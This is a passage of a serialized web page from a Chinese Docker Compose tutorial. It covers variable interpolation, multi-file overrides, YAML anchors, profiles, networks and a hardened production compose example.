--force-recreate",[331,54396,51095],{"class":365},[331,54398,54399],{"class":1003},"   # 配置没变但想换镜像\u002F环境变量时强制重建\n",[331,54401,54402,54404,54406,54408],{"class":333,"line":384},[331,54403,36862],{"class":501},[331,54405,53321],{"class":365},[331,54407,50297],{"class":365},[331,54409,54410],{"class":1003},"                # 只看本项目的容器（含 health 状态）\n",[331,54412,54413,54415,54417,54419,54421,54423,54425],{"class":333,"line":397},[331,54414,36862],{"class":501},[331,54416,53321],{"class":365},[331,54418,49928],{"class":365},[331,54420,43839],{"class":344},[331,54422,49933],{"class":344},[331,54424,49936],{"class":344},[331,54426,54427],{"class":365}," api\n",[331,54429,54430,54432,54434,54436,54438,54440],{"class":333,"line":418},[331,54431,36862],{"class":501},[331,54433,53321],{"class":365},[331,54435,50113],{"class":365},[331,54437,51095],{"class":365},[331,54439,50121],{"class":365},[331,54441,54442],{"class":1003},"       # 进容器（exec 不是 run，不会新建）\n",[331,54444,54445,54447,54449,54451,54453,54455,54457,54460],{"class":333,"line":427},[331,54446,36862],{"class":501},[331,54448,53321],{"class":365},[331,54450,5020],{"class":365},[331,54452,48890],{"class":344},[331,54454,51095],{"class":365},[331,54456,15569],{"class":365},[331,54458,54459],{"class":365}," scripts\u002Fmigrate.js",[331,54461,54462],{"class":1003},"   # 起一次性容器，可覆盖 command\n",[331,54464,54465,54467,54469,54472,54475],{"class":333,"line":439},[331,54466,36862],{"class":501},[331,54468,53321],{"class":365},[331,54470,54471],{"class":365}," scale",[331,54473,54474],{"class":365}," api=",[331,54476,53970],{"class":344},[331,54478,54479,54481,54483,54485,54487,54489,54491],{"class":333,"line":450},[331,54480,36862],{"class":501},[331,54482,53321],{"class":365},[331,54484,21961],{"class":365},[331,54486,6544],{"class":365},[331,54488,14853],{"class":365},[331,54490,6544],{"class":365},[331,54492,54493],{"class":365}," restart\n",[331,54495,54496,54498,54500,54503],{"class":333,"line":456},[331,54497,36862],{"class":501},[331,54499,53321],{"class":365},[331,54501,54502],{"class":365}," down",[331,54504,54505],{"class":1003},"              # 停并删容器和网络（卷和数据不动）\n",[331,54507,54508,54510,54512,54514,54516],{"class":333,"line":775},[331,54509,36862],{"class":501},[331,54511,53321],{"class":365},[331,54513,54502],{"class":365},[331,54515,51745],{"class":344},[331,54517,54518],{"class":1003},"          # 连命名卷一起删 —— 数据库清空\n",[1773,54520,54521,54536,54563,54569],{},[1662,54522,54523,54529,54530,54532,54533,161],{},[17,54524,54525,54528],{},[22,54526,54527],{},"down -v"," 会删除本项目声明的所有命名卷","，不可恢复。习惯是永远写 ",[22,54531,54222],{},"，要清数据时明确地用 ",[22,54534,54535],{},"docker volume rm \u003C精确名字>",[1662,54537,54538,54540,54541,54547,54548,54550,54551,54553,54554,54556,54557,4809,54560,161],{},[22,54539,53308],{}," 的变更判定很保守：",[17,54542,54543,54544,54546],{},"只改镜像 tag、只改 ",[22,54545,53591],{}," 的值都会重建容器","；只改 ",[22,54549,53560],{}," 的宿主侧也一样。但它",[17,54552,36684],{},"因为 ",[22,54555,53371],{}," 内容变了（同 tag 重新 push）自动重建——这时要 ",[22,54558,54559],{},"--pull always",[22,54561,54562],{},"--force-recreate",[1662,54564,54565,54568],{},[22,54566,54567],{},"config"," 是理解 Compose 的第一工具：插值、多文件叠加、锚点展开的最终结果都在它输出里，出问题先看它。",[1662,54570,54571,54572,272,54575,54578,54579,655,54581,12102,54584,54587,54588,12102,54591,54594],{},"项目名决定资源前缀（",[22,54573,54574],{},"shop_api_1",[22,54576,54577],{},"shop_db-data","）；来源优先级是 ",[22,54580,36989],{},[22,54582,54583],{},"--project-name",[22,54585,54586],{},"COMPOSE_PROJECT_NAME"," > 顶层 ",[22,54589,54590],{},"name:",[17,54592,54593],{},"当前目录名","。同一个目录不同路径跑起来会变成两个项目，这是「明明 up 了但 ps 看不到」的常见原因。",[11,54596,54597,54598,54601,54602,5760,54604,54607,54608,54611],{},"示例 11 是 ",[22,54599,54600],{},"up -d"," 的完整输出流：从网络创建、卷创建、拉镜像、按依赖顺序起四个容器，到 ",[22,54603,45921],{},[22,54605,54606],{},"health: starting"," 转 ",[22,54609,54610],{},"healthy"," 的全过程。",[4748,54613],{"height":42104,"src":54614,"title":54615},"\u002Ftutorials\u002Fdocker\u002Fdemos\u002F11-compose-up.html","示例 11：Compose up 的输出流——从 yaml 到四个容器",[11,54617,54618],{},"一个文件能描述服务，但还不够「生产」。下一章处理多环境、变量、锚点与那些必须显式声明的开关。",[48,54620,54622],{"id":54621},"十二compose-进阶变量插值多文件叠加与生产风格配置","十二、Compose 进阶：变量插值、多文件叠加与生产风格配置",[53,54624,54626],{"id":54625},"变量与-env插值语法","变量与 .env：插值语法",[308,54628,54630],{"className":53346,"code":54629,"language":53348,"meta":314,"style":314},"services:\n  api:\n    image: ghcr.io\u002Fexample\u002Fshop-api:${APP_VERSION:-1.8.3}\n    ports:\n      - \"${HTTP_PORT:-8080}:3000\"\n    environment:\n      DATABASE_URL: postgres:\u002F\u002F${DB_USER:-shop}:${DB_PASSWORD:?set DB_PASSWORD in .env}@db:5432\u002Fshop\n      REPLICAS: ${SHARD_COUNT}\n",[22,54631,54632,54638,54644,54653,54659,54667,54673,54683],{"__ignoreMap":314},[331,54633,54634,54636],{"class":333,"line":334},[331,54635,53355],{"class":497},[331,54637,53423],{"class":337},[331,54639,54640,54642],{"class":333,"line":341},[331,54641,53781],{"class":497},[331,54643,53423],{"class":337},[331,54645,54646,54648,54650],{"class":333,"line":357},[331,54647,53825],{"class":497},[331,54649,348],{"class":337},[331,54651,54652],{"class":365},"ghcr.io\u002Fexample\u002Fshop-api:${APP_VERSION:-1.8.3}\n",[331,54654,54655,54657],{"class":333,"line":371},[331,54656,53835],{"class":497},[331,54658,53423],{"class":337},[331,54660,54661,54664],{"class":333,"line":384},[331,54662,54663],{"class":337},"      - ",[331,54665,54666],{"class":365},"\"${HTTP_PORT:-8080}:3000\"\n",[331,54668,54669,54671],{"class":333,"line":397},[331,54670,53847],{"class":497},[331,54672,53423],{"class":337},[331,54674,54675,54678,54680],{"class":333,"line":418},[331,54676,54677],{"class":497},"      DATABASE_URL",[331,54679,348],{"class":337},[331,54681,54682],{"class":365},"postgres:\u002F\u002F${DB_USER:-shop}:${DB_PASSWORD:?set DB_PASSWORD in .env}@db:5432\u002Fshop\n",[331,54684,54685,54688,54690],{"class":333,"line":427},[331,54686,54687],{"class":497},"      REPLICAS",[331,54689,348],{"class":337},[331,54691,54692],{"class":365},"${SHARD_COUNT}\n",[57,54694,54695,54704],{},[60,54696,54697],{},[63,54698,54699,54702],{},[66,54700,54701],{},"语法",[66,54703,43744],{},[79,54705,54706,54716,54726,54736,54750,54760],{},[63,54707,54708,54713],{},[84,54709,54710],{},[22,54711,54712],{},"${VAR}",[84,54714,54715],{},"未定义时替换为空字符串",[63,54717,54718,54723],{},[84,54719,54720],{},[22,54721,54722],{},"${VAR:-默认}",[84,54724,54725],{},"未定义或为空 → 用默认（值不进容器，只在 Compose 层展开）",[63,54727,54728,54733],{},[84,54729,54730],{},[22,54731,54732],{},"${VAR-default}",[84,54734,54735],{},"仅未定义时用默认（空串保留）",[63,54737,54738,54743],{},[84,54739,54740],{},[22,54741,54742],{},"${VAR:?错误信息}",[84,54744,54745,54746,54749],{},"未定义或为空 → ",[17,54747,54748],{},"直接报错退出","（强制必填，很好的守卫）",[63,54751,54752,54757],{},[84,54753,54754],{},[22,54755,54756],{},"${VAR?错误信息}",[84,54758,54759],{},"仅未定义时报错",[63,54761,54762,54770],{},[84,54763,54764,5160,54767],{},[22,54765,54766],{},"${VAR:?}",[22,54768,54769],{},"$$",[84,54771,54772,54774,54775,54778,54779,54781],{},[22,54773,54769],{}," 是转义，输出一个 ",[22,54776,54777],{},"$","（防止应用密钥里带 ",[22,54780,54777],{}," 被二次展开）",[11,54783,54784,54786,54787,54790,54791,54794,54795,54798,54799,54802],{},[22,54785,11149],{},"（与 ",[22,54788,54789],{},"compose.yaml"," 同目录）里的值供给上面的",[17,54792,54793],{},"插值","，作用范围是整个 Compose 文件；",[22,54796,54797],{},"env_file:"," 注入的是",[17,54800,54801],{},"容器内环境变量","，不参与文件插值。两者都叫「环境变量」但层次完全不同，这是第十三章的第一条主线。",[11,54804,54805,54806,54809,54810,161],{},"插值发生在 Compose 层，因此 ",[22,54807,54808],{},"docker compose config"," 输出里你看到的一定是展开后的值——",[17,54811,54812,54813],{},"检查变量到底吃到没有，看 ",[22,54814,54567],{},[53,54816,54818],{"id":54817},"多文件叠加base-override","多文件叠加：base + override",[308,54820,54822],{"className":3902,"code":54821,"language":3904,"meta":314,"style":314},"docker compose -f compose.yaml -f compose.prod.yaml up -d\ndocker compose -f compose.yaml -f compose.override.yaml config   # 看合并结果\n",[22,54823,54824,54844],{"__ignoreMap":314},[331,54825,54826,54828,54830,54832,54835,54837,54840,54842],{"class":333,"line":334},[331,54827,36862],{"class":501},[331,54829,53321],{"class":365},[331,54831,43839],{"class":344},[331,54833,54834],{"class":365}," compose.yaml",[331,54836,43839],{"class":344},[331,54838,54839],{"class":365}," compose.prod.yaml",[331,54841,53336],{"class":365},[331,54843,53339],{"class":344},[331,54845,54846,54848,54850,54852,54854,54856,54859,54861],{"class":333,"line":341},[331,54847,36862],{"class":501},[331,54849,53321],{"class":365},[331,54851,43839],{"class":344},[331,54853,54834],{"class":365},[331,54855,43839],{"class":344},[331,54857,54858],{"class":365}," compose.override.yaml",[331,54860,14596],{"class":365},[331,54862,54863],{"class":1003},"   # 看合并结果\n",[11,54865,54866,54867,4809,54869,54872,54873,54875,54876,54879],{},"同名文件自动叠加规则（Compose v2）：",[22,54868,54789],{},[22,54870,54871],{},"compose.override.yaml","（开发用，自动加载）；显式 ",[22,54874,48296],{}," 时按给定顺序合并，",[17,54877,54878],{},"后者覆盖前者","。合并语义很关键：",[57,54881,54882,54891],{},[60,54883,54884],{},[63,54885,54886,54888],{},[66,54887,8896],{},[66,54889,54890],{},"合并规则",[79,54892,54893,54905,54920,54937,54946,54959],{},[63,54894,54895,54902],{},[84,54896,54897,54898,272,54900,5149],{},"标量（",[22,54899,53371],{},[22,54901,53679],{},[84,54903,54904],{},"后面的直接覆盖",[63,54906,54907,54914],{},[84,54908,54909,1901,54911],{},[22,54910,53591],{},[22,54912,54913],{},"labels",[84,54915,54916,54919],{},[17,54917,54918],{},"按键合并","，同名覆盖",[63,54921,54922,54931],{},[84,54923,54924,1901,54926,1901,54928,54930],{},[22,54925,53560],{},[22,54927,53409],{},[22,54929,53695],{}," 等列表",[84,54932,54933,54934,54936],{},"一般",[17,54935,21229],{},"（不是追加！）——想追加要写全",[63,54938,54939,54944],{},[84,54940,54941],{},[22,54942,54943],{},"build.args",[84,54945,54918],{},[63,54947,54948,54952],{},[84,54949,54950],{},[22,54951,53663],{},[84,54953,54954,54955,54958],{},"子字段逐个覆盖；",[22,54956,54957],{},"disable: true"," 可关掉",[63,54960,54961,54966],{},[84,54962,54963],{},[22,54964,54965],{},"deploy",[84,54967,54968],{},"深度合并",[11,54970,54971,54972,54974,54975,54977],{},"「列表是替换不是追加」这点最容易被误解：override 文件里写一条 ",[22,54973,53560],{}," 并不会给 base 加一个端口，而是替换掉整个 ",[22,54976,53560],{}," 列表。",[11,54979,54980,54981,54983,54984,54986,54987,54989,54990,54993,54994,54996,54997,55005],{},"典型分层：",[22,54982,54789],{},"（公共）+ ",[22,54985,54871],{},"（本地开发：bind mount 源码、开调试端口、",[22,54988,53695],{}," 换成 nodemon）+ ",[22,54991,54992],{},"compose.prod.yaml","（生产：镜像 digest、",[22,54995,53679],{},"、资源限制、只挂卷）。",[17,54998,15858,54999,55001,55002,55004],{},[22,55000,54871],{}," 加进 ",[22,55003,11576],{}," 或不提交","，避免开发者机器上的配置跑到生产。",[53,55007,55009],{"id":55008},"扩展字段与锚点复用又不产生隐式行为","扩展字段与锚点：复用又不产生隐式行为",[308,55011,55013],{"className":53346,"code":55012,"language":53348,"meta":314,"style":314},"x-common: &common\n  restart: unless-stopped\n  logging: { driver: json-file, options: { max-size: \"20m\", max-file: \"3\" } }\n  security_opt: [\"no-new-privileges:true\"]\n  networks: [shop-net]\n\nservices:\n  api:\n    \u003C\u003C: *common\n    environment: { TZ: Asia\u002FShanghai, NODE_ENV: production, PORT: \"3000\" }\n  cache:\n    \u003C\u003C: *common\n    image: redis:7.2-alpine\n",[22,55014,55015,55028,55037,55075,55087,55099,55103,55109,55115,55126,55158,55164,55174],{"__ignoreMap":314},[331,55016,55017,55020,55022,55025],{"class":333,"line":334},[331,55018,55019],{"class":497},"x-common",[331,55021,348],{"class":337},[331,55023,55024],{"class":616},"&",[331,55026,55027],{"class":501},"common\n",[331,55029,55030,55033,55035],{"class":333,"line":341},[331,55031,55032],{"class":497},"  restart",[331,55034,348],{"class":337},[331,55036,53990],{"class":365},[331,55038,55039,55042,55044,55046,55048,55051,55053,55055,55057,55060,55062,55064,55066,55069,55071,55073],{"class":333,"line":357},[331,55040,55041],{"class":497},"  logging",[331,55043,32367],{"class":337},[331,55045,53398],{"class":497},[331,55047,348],{"class":337},[331,55049,55050],{"class":365},"json-file",[331,55052,409],{"class":337},[331,55054,9355],{"class":497},[331,55056,32367],{"class":337},[331,55058,55059],{"class":497},"max-size",[331,55061,348],{"class":337},[331,55063,53076],{"class":365},[331,55065,409],{"class":337},[331,55067,55068],{"class":497},"max-file",[331,55070,348],{"class":337},[331,55072,53086],{"class":365},[331,55074,11466],{"class":337},[331,55076,55077,55080,55082,55085],{"class":333,"line":371},[331,55078,55079],{"class":497},"  security_opt",[331,55081,403],{"class":337},[331,55083,55084],{"class":365},"\"no-new-privileges:true\"",[331,55086,1268],{"class":337},[331,55088,55089,55092,55094,55097],{"class":333,"line":384},[331,55090,55091],{"class":497},"  networks",[331,55093,403],{"class":337},[331,55095,55096],{"class":365},"shop-net",[331,55098,1268],{"class":337},[331,55100,55101],{"class":333,"line":397},[331,55102,998],{"emptyLinePlaceholder":997},[331,55104,55105,55107],{"class":333,"line":418},[331,55106,53355],{"class":497},[331,55108,53423],{"class":337},[331,55110,55111,55113],{"class":333,"line":427},[331,55112,53781],{"class":497},[331,55114,53423],{"class":337},[331,55116,55117,55120,55122,55124],{"class":333,"line":439},[331,55118,55119],{"class":344},"    \u003C\u003C",[331,55121,348],{"class":337},[331,55123,18020],{"class":616},[331,55125,55027],{"class":337},[331,55127,55128,55130,55132,55134,55136,55139,55141,55143,55145,55147,55149,55151,55153,55156],{"class":333,"line":450},[331,55129,53847],{"class":497},[331,55131,32367],{"class":337},[331,55133,47787],{"class":497},[331,55135,348],{"class":337},[331,55137,55138],{"class":365},"Asia\u002FShanghai",[331,55140,409],{"class":337},[331,55142,47781],{"class":497},[331,55144,348],{"class":337},[331,55146,53818],{"class":365},[331,55148,409],{"class":337},[331,55150,15553],{"class":497},[331,55152,348],{"class":337},[331,55154,55155],{"class":365},"\"3000\"",[331,55157,9413],{"class":337},[331,55159,55160,55162],{"class":333,"line":456},[331,55161,54133],{"class":497},[331,55163,53423],{"class":337},[331,55165,55166,55168,55170,55172],{"class":333,"line":775},[331,55167,55119],{"class":344},[331,55169,348],{"class":337},[331,55171,18020],{"class":616},[331,55173,55027],{"class":337},[331,55175,55176,55178,55180],{"class":333,"line":785},[331,55177,53825],{"class":497},[331,55179,348],{"class":337},[331,55181,54144],{"class":365},[11,55183,55184,55187,55188,55191,55192,55195,55196,55199,55200,55203,55204,55207,55208,55210,55211,55214],{},[22,55185,55186],{},"x-"," 前缀的顶层键是",[17,55189,55190],{},"扩展字段","，Compose 忽略它，但允许在里面放可复用片段；",[22,55193,55194],{},"&anchor"," 定义锚点、",[22,55197,55198],{},"*alias"," 引用、",[22,55201,55202],{},"\u003C\u003C:"," 做映射合并。收益是少抄 20 行，代价是",[17,55205,55206],{},"改一处会同时影响多个服务","（生产上这常常正是你想要的），以及覆盖顺序的心智负担（",[22,55209,55202],{}," 中已显式写出的键优先）。锚点是 YAML 特性，别指望它做复杂逻辑——真要参数化就换 ",[22,55212,55213],{},"envsubst"," 模板或 Helm。",[53,55216,55218],{"id":55217},"profiles按需启动","profiles：按需启动",[308,55220,55222],{"className":53346,"code":55221,"language":53348,"meta":314,"style":314},"services:\n  adminer: { image: adminer:4, profiles: [\"debug\"] }\n  migrate: { build: ., command: [\"node\", \"scripts\u002Fmigrate.js\"], profiles: [\"ops\"] }\n",[22,55223,55224,55230,55255],{"__ignoreMap":314},[331,55225,55226,55228],{"class":333,"line":334},[331,55227,53355],{"class":497},[331,55229,53423],{"class":337},[331,55231,55232,55235,55237,55239,55241,55244,55246,55248,55250,55253],{"class":333,"line":341},[331,55233,55234],{"class":497},"  adminer",[331,55236,32367],{"class":337},[331,55238,53371],{"class":497},[331,55240,348],{"class":337},[331,55242,55243],{"class":365},"adminer:4",[331,55245,409],{"class":337},[331,55247,53757],{"class":497},[331,55249,403],{"class":337},[331,55251,55252],{"class":365},"\"debug\"",[331,55254,52908],{"class":337},[331,55256,55257,55260,55262,55264,55266,55268,55270,55272,55274,55276,55278,55281,55283,55285,55287,55290],{"class":333,"line":357},[331,55258,55259],{"class":497},"  migrate",[331,55261,32367],{"class":337},[331,55263,15760],{"class":497},[331,55265,348],{"class":337},[331,55267,1192],{"class":344},[331,55269,409],{"class":337},[331,55271,53695],{"class":497},[331,55273,403],{"class":337},[331,55275,46779],{"class":365},[331,55277,409],{"class":337},[331,55279,55280],{"class":365},"\"scripts\u002Fmigrate.js\"",[331,55282,54110],{"class":337},[331,55284,53757],{"class":497},[331,55286,403],{"class":337},[331,55288,55289],{"class":365},"\"ops\"",[331,55291,52908],{"class":337},[308,55293,55295],{"className":3902,"code":55294,"language":3904,"meta":314,"style":314},"docker compose --profile debug up -d\ndocker compose --profile ops run migrate\n",[22,55296,55297,55313],{"__ignoreMap":314},[331,55298,55299,55301,55303,55306,55309,55311],{"class":333,"line":334},[331,55300,36862],{"class":501},[331,55302,53321],{"class":365},[331,55304,55305],{"class":344}," --profile",[331,55307,55308],{"class":365}," debug",[331,55310,53336],{"class":365},[331,55312,53339],{"class":344},[331,55314,55315,55317,55319,55321,55324,55326],{"class":333,"line":341},[331,55316,36862],{"class":501},[331,55318,53321],{"class":365},[331,55320,55305],{"class":344},[331,55322,55323],{"class":365}," ops",[331,55325,5020],{"class":365},[331,55327,55328],{"class":365}," migrate\n",[11,55330,55331,55332,55335,55336,55338],{},"没有 profile 的服务总是启动；有 profile 的只有匹配 ",[22,55333,55334],{},"--profile"," 才启动。用途是把「调试面板、一次性任务、测试桩」从常规 ",[22,55337,53308],{}," 里摘出去，而不是靠注释代码。",[53,55340,55341],{"id":55341},"网络与外部资源",[308,55343,55345],{"className":53346,"code":55344,"language":53348,"meta":314,"style":314},"networks:\n  shop-net:\n    name: shop-net           # 显式命名，不带项目前缀，便于项目外复用\n  edge:\n    external: true           # 引用已存在的网络，up\u002Fdown 都不许删它\n  db-only:\n    internal: true           # 出不去外网，只能容器间互访\n",[22,55346,55347,55353,55359,55371,55378,55390,55397],{"__ignoreMap":314},[331,55348,55349,55351],{"class":333,"line":334},[331,55350,53383],{"class":497},[331,55352,53423],{"class":337},[331,55354,55355,55357],{"class":333,"line":341},[331,55356,53393],{"class":497},[331,55358,53423],{"class":337},[331,55360,55361,55364,55366,55368],{"class":333,"line":357},[331,55362,55363],{"class":497},"    name",[331,55365,348],{"class":337},[331,55367,55096],{"class":365},[331,55369,55370],{"class":1003},"           # 显式命名，不带项目前缀，便于项目外复用\n",[331,55372,55373,55376],{"class":333,"line":371},[331,55374,55375],{"class":497},"  edge",[331,55377,53423],{"class":337},[331,55379,55380,55383,55385,55387],{"class":333,"line":384},[331,55381,55382],{"class":497},"    external",[331,55384,348],{"class":337},[331,55386,1131],{"class":344},[331,55388,55389],{"class":1003},"           # 引用已存在的网络，up\u002Fdown 都不许删它\n",[331,55391,55392,55395],{"class":333,"line":397},[331,55393,55394],{"class":497},"  db-only",[331,55396,53423],{"class":337},[331,55398,55399,55402,55404,55406],{"class":333,"line":418},[331,55400,55401],{"class":497},"    internal",[331,55403,348],{"class":337},[331,55405,1131],{"class":344},[331,55407,55408],{"class":1003},"           # 出不去外网，只能容器间互访\n",[11,55410,55411,4839,55414,55417,55418,55420,55421,55423,55424,55427,55428,55431,55432,4813],{},[17,55412,55413],{},"默认网络",[22,55415,55416],{},"\u003Cproject>_default","）由 Compose 自动创建与销毁，服务默认全接进去、互相可按名字访问。显式自定义网络的好处是：能用 ",[22,55419,54590],{}," 固定名字给项目外用、能 ",[22,55422,15788],{},"、能用多张网做隔离（前端接 ",[22,55425,55426],{},"edge","、数据库只接 ",[22,55429,55430],{},"db-only","，于是 web 根本 ping 不到 db——",[17,55433,55434],{},"网络层强制了架构分层",[11,55436,55437,55440,55441,55443,55444,55450],{},[22,55438,55439],{},"external: true"," 把资源和容器生命周期解耦，",[22,55442,54222],{}," 不会删它。",[17,55445,55446,55447,55449],{},"生产里数据库卷推荐显式声明（带 ",[22,55448,54590],{}," 或 external）","，防止换项目名（换目录）后「数据凭空消失」（其实还在旧卷里，这类事故很常见）。",[53,55452,55453],{"id":55453},"那些必须显式写的开关",[57,55455,55456,55467],{},[60,55457,55458],{},[63,55459,55460,55462,55464],{},[66,55461,1872],{},[66,55463,7759],{},[66,55465,55466],{},"为什么要显式写",[79,55468,55469,55497,55510,55523,55542,55560,55575,55590,55615],{},[63,55470,55471,55475,55489],{},[84,55472,55473],{},[22,55474,53254],{},[84,55476,55477,55480,55481,1901,55484,1901,55486],{},[22,55478,55479],{},"missing","（默认）\u002F ",[22,55482,55483],{},"always",[22,55485,15760],{},[22,55487,55488],{},"never",[84,55490,55491,55492,55494,55495],{},"同 tag 覆盖镜像时，",[22,55493,55483],{}," 才能确保拉到新的；离线环境用 ",[22,55496,55488],{},[63,55498,55499,55504,55507],{},[84,55500,55501],{},[22,55502,55503],{},"init: true",[84,55505,55506],{},"容器里跑 tini 当 PID 1",[84,55508,55509],{},"否则僵尸进程不收尸、SIGTERM 转发有问题（第十四、十六章）",[63,55511,55512,55517,55520],{},[84,55513,55514],{},[22,55515,55516],{},"stop_grace_period: 30s",[84,55518,55519],{},"SIGTERM 后等多久发 SIGKILL",[84,55521,55522],{},"默认 10s；长任务\u002F大流量服务要加长",[63,55524,55525,55530,55536],{},[84,55526,55527],{},[22,55528,55529],{},"shm_size: 256m",[84,55531,55532,55535],{},[22,55533,55534],{},"\u002Fdev\u002Fshm"," 大小",[84,55537,55538,55539],{},"默认 64MB，Chrome\u002FPuppeteer、Postgres 并行扫描会撑爆并报 ",[22,55540,55541],{},"No space left on device",[63,55543,55544,55549,55557],{},[84,55545,55546],{},[22,55547,55548],{},"ulimits",[84,55550,55551,272,55554],{},[22,55552,55553],{},"nofile: 65536",[22,55555,55556],{},"nproc",[84,55558,55559],{},"宿主默认 1024 文件描述符，高并发必调",[63,55561,55562,55567,55572],{},[84,55563,55564],{},[22,55565,55566],{},"extra_hosts",[84,55568,55569],{},[22,55570,55571],{},"host.docker.internal:host-gateway",[84,55573,55574],{},"Linux 上访问宿主服务的前提（第八章）",[63,55576,55577,55584,55587],{},[84,55578,55579,4809,55582],{},[22,55580,55581],{},"readonly: true",[22,55583,51692],{},[84,55585,55586],{},"根文件系统只读",[84,55588,55589],{},"第十五章安全基线",[63,55591,55592,55597,55605],{},[84,55593,55594],{},[22,55595,55596],{},"deploy.resources.limits",[84,55598,55599,272,55602],{},[22,55600,55601],{},"memory: 512M",[22,55603,55604],{},"cpus: \"1.5\"",[84,55606,55607,55608,55610,55611,55614],{},"Compose v2 在单机 ",[22,55609,53308],{}," 时也会应用 limits（K8s 迁移友好，但 ",[22,55612,55613],{},"replicas"," 等仍需 Swarm）",[63,55616,55617,55622,55628],{},[84,55618,55619],{},[22,55620,55621],{},"logging",[84,55623,55624,1901,55626],{},[22,55625,55059],{},[22,55627,53398],{},[84,55629,55630,55631,55634],{},"默认 json-file ",[17,55632,55633],{},"不轮转","，磁盘必爆（第十六章）",[53,55636,55637],{"id":55637},"一个生产风格的完整例子",[308,55639,55641],{"className":53346,"code":55640,"language":53348,"meta":314,"style":314},"name: shop\nx-service: &service\n  restart: unless-stopped\n  init: true\n  stop_grace_period: 30s\n  security_opt: [\"no-new-privileges:true\"]\n  cap_drop: [\"ALL\"]\n  read_only: true\n  tmpfs: [\"\u002Ftmp\"]\n  logging: { driver: json-file, options: { max-size: \"20m\", max-file: \"3\" } }\n  ulimits: { nofile: 65536 }\n  networks: [shop-net]\nservices:\n  web:\n    \u003C\u003C: *service\n    image: nginx:1.27-alpine@sha256:2bc60bb1c9d0\n    ports: [\"80:80\", \"127.0.0.1:443:443\"]\n    volumes: [\".\u002Fnginx\u002Fconf.d:\u002Fetc\u002Fnginx\u002Fconf.d:ro\", \".\u002Fnginx\u002Fcerts:\u002Fetc\u002Fnginx\u002Fcerts:ro\"]\n    depends_on: { api: { condition: service_healthy } }\n  api:\n    \u003C\u003C: *service\n    image: ghcr.io\u002Fexample\u002Fshop-api:1.8.3@sha256:9c1f0ea7b2d4\n    expose: [\"3000\"]\n    environment: { NODE_ENV: production, TZ: Asia\u002FShanghai }\n    configs: [{ source: app-conf, target: \u002Fetc\u002Fshop\u002Fconfig.yaml }]\n    secrets: [database_url]\n    healthcheck:\n      test: [\"CMD\", \"node\", \"-e\", \"require('http').get('http:\u002F\u002F127.0.0.1:3000\u002Fhealthz',r=>process.exit(r.statusCode===200?0:1)).on('error',()=>process.exit(1))\"]\n      interval: 15s\n      timeout: 3s\n      retries: 3\n      start_period: 20s\n    deploy: { resources: { limits: { memory: 512M, cpus: \"1.5\" } } }\n    depends_on: { db: { condition: service_healthy }, cache: { condition: service_started } }\n  db:\n    \u003C\u003C: *service\n    image: postgres:16.4@sha256:6d7df8c5b0f8\n    environment: { POSTGRES_PASSWORD_FILE: \u002Frun\u002Fsecrets\u002Fdb_password }\n    volumes: [db-data:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata]\n    secrets: [db_password]\n    networks: [shop-net, db-only]\n    healthcheck: { test: [\"CMD-SHELL\", \"pg_isready -U shop\"], interval: 10s, retries: 5 }\n  cache:\n    \u003C\u003C: *service\n    image: redis:7.2-alpine@sha256:1a2b3c4d5e6f\n    command: [\"redis-server\", \"--appendonly\", \"yes\", \"--maxmemory\", \"256mb\"]\n    volumes: [cache-data:\u002Fdata]\n    healthcheck: { test: [\"CMD\", \"redis-cli\", \"ping\"], interval: 10s, retries: 3 }\nnetworks:\n  shop-net: {}\n  db-only: { internal: true }\nvolumes: { db-data: {}, cache-data: {} }\nconfigs: { app-conf: { file: .\u002Fconfig\u002Fapp.prod.yaml } }\nsecrets:\n  db_password: { file: .\u002Fsecrets\u002Fdb_password.txt }\n  database_url: { file: .\u002Fsecrets\u002Fdatabase_url.txt }\n",[22,55642,55643,55652,55664,55672,55681,55691,55701,55713,55722,55734,55768,55785,55795,55801,55807,55817,55826,55841,55856,55874,55880,55890,55899,55910,55932,55959,55971,55977,55999,56007,56017,56025,56033,56071,56101,56107,56117,56126,56142,56152,56163,56178,56212,56218,56228,56237,56265,56275,56315,56321,56328,56342,56357,56377,56384,56399],{"__ignoreMap":314},[331,55644,55645,55647,55649],{"class":333,"line":334},[331,55646,1900],{"class":497},[331,55648,348],{"class":337},[331,55650,55651],{"class":365},"shop\n",[331,55653,55654,55657,55659,55661],{"class":333,"line":341},[331,55655,55656],{"class":497},"x-service",[331,55658,348],{"class":337},[331,55660,55024],{"class":616},[331,55662,55663],{"class":501},"service\n",[331,55665,55666,55668,55670],{"class":333,"line":357},[331,55667,55032],{"class":497},[331,55669,348],{"class":337},[331,55671,53990],{"class":365},[331,55673,55674,55677,55679],{"class":333,"line":371},[331,55675,55676],{"class":497},"  init",[331,55678,348],{"class":337},[331,55680,2756],{"class":344},[331,55682,55683,55686,55688],{"class":333,"line":384},[331,55684,55685],{"class":497},"  stop_grace_period",[331,55687,348],{"class":337},[331,55689,55690],{"class":365},"30s\n",[331,55692,55693,55695,55697,55699],{"class":333,"line":397},[331,55694,55079],{"class":497},[331,55696,403],{"class":337},[331,55698,55084],{"class":365},[331,55700,1268],{"class":337},[331,55702,55703,55706,55708,55711],{"class":333,"line":418},[331,55704,55705],{"class":497},"  cap_drop",[331,55707,403],{"class":337},[331,55709,55710],{"class":365},"\"ALL\"",[331,55712,1268],{"class":337},[331,55714,55715,55718,55720],{"class":333,"line":427},[331,55716,55717],{"class":497},"  read_only",[331,55719,348],{"class":337},[331,55721,2756],{"class":344},[331,55723,55724,55727,55729,55732],{"class":333,"line":439},[331,55725,55726],{"class":497},"  tmpfs",[331,55728,403],{"class":337},[331,55730,55731],{"class":365},"\"\u002Ftmp\"",[331,55733,1268],{"class":337},[331,55735,55736,55738,55740,55742,55744,55746,55748,55750,55752,55754,55756,55758,55760,55762,55764,55766],{"class":333,"line":450},[331,55737,55041],{"class":497},[331,55739,32367],{"class":337},[331,55741,53398],{"class":497},[331,55743,348],{"class":337},[331,55745,55050],{"class":365},[331,55747,409],{"class":337},[331,55749,9355],{"class":497},[331,55751,32367],{"class":337},[331,55753,55059],{"class":497},[331,55755,348],{"class":337},[331,55757,53076],{"class":365},[331,55759,409],{"class":337},[331,55761,55068],{"class":497},[331,55763,348],{"class":337},[331,55765,53086],{"class":365},[331,55767,11466],{"class":337},[331,55769,55770,55773,55775,55778,55780,55783],{"class":333,"line":456},[331,55771,55772],{"class":497},"  